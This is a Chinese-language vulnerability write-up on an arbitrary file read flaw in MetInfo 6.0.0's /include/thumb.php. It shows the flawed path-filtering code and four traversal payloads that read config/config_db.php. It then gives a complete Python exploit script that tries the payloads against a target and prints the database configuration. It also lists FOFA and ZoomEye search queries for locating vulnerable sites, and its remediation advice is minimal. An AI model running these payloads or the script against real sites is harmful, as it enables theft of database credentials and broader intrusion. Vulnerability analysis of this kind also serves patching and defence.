1.1、漏洞描述
漏洞名称:MetInfo任意文件读取
漏洞简介:MetInfo是一套使用PHP和MySQL开发的内容管理系统,其中的/app/system/include/module/old_thumb.class.php
文件存在任意文件读取漏洞,攻击者可利用该漏洞读取网站的敏感文件。
下载地址:历史版本安装文件下载 Ver_6.0.0
1.2、漏洞等级
高危
1.3、影响版本
影响版本:MetInfo 6.0.0
1.4、漏洞复现
代码审计
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
$dir = str_replace(array(‘…/’,‘./’), ‘’, $_GET[‘dir’]);
dir变量接受来自$_GET[‘dir’]传递进来的值,用了str_replace函数做替换,将../
,./
替换成空值
readfile($dir);
漏洞点
/include/thumb.php
使用bp进行抓包
测试一:
/include/thumb.php?dir=..././http/..././config/config_db.php
测试二:
/include/thumb.php?dir=.....///http/.....///config/config_db.php
测试三:
/include/thumb.php?dir=http/.....///.....///config/config_db.php
测试四:
/include/thumb.php?dir=http\..\..\config\config_db.php
# 此POC 仅适用于Windows 系统,Linux 下无效
# 只有windows以右斜杠作为文件路径分隔符
1.5、深度利用
EXP编写
import requests
import sys
banner = """
MetInfo 6.0.0
___________.__.__ __________ .___
\_ _____/|__| | ____ \______ \ ____ _____ __| _/
| __) | | | _/ __ \ | _// __ \\__ \ / __ |
| \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ |
\___ / |__|____/\___ > |____|_ /\___ >____ /\____ |
\/ \/ \/ \/ \/ \/
Usage: python3 *.py http://192.168.80.139/MetInfo6.0.0/
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}
dir_list = [
"..././http/..././config/config_db.php",
".....///http/.....///config/config_db.php",
"http/.....///.....///config/config_db.php",
"http\..\..\config\config_db.php"
]
def attack(host):
vul = "/include/thumb.php"
url = host + vul
res = requests.get(url = url, headers = headers)
if res.status_code != 200:
print(f"[INFO] {vul} is Not Exists!")
exit()
print(f"[INFO] {vul} is Exists!")
for param in dir_list:
params = {
"dir": param
}
res = requests.get(url = url, params = params, headers = headers)
print(f"[INFO] Test URL: {res.url}")
if "<?php" in res.text:
print("[RESULT] The target is vulnreable!")
print(f"[RESULT]\n{res.text}")
break
if len(sys.argv) < 2:
print(banner)
exit()
host = sys.argv[1]
attack(host = host)
1.6、漏洞挖掘
FOFA文章来源:https://www.toymoban.com/news/detail-688732.html
app="metinfo"
ZoomEye文章来源地址https://www.toymoban.com/news/detail-688732.html
app:"MetInfo"
app:"MetInfo"+os:"Windows"
1.7修复建议
- 升级
- 打补丁
- 上设备
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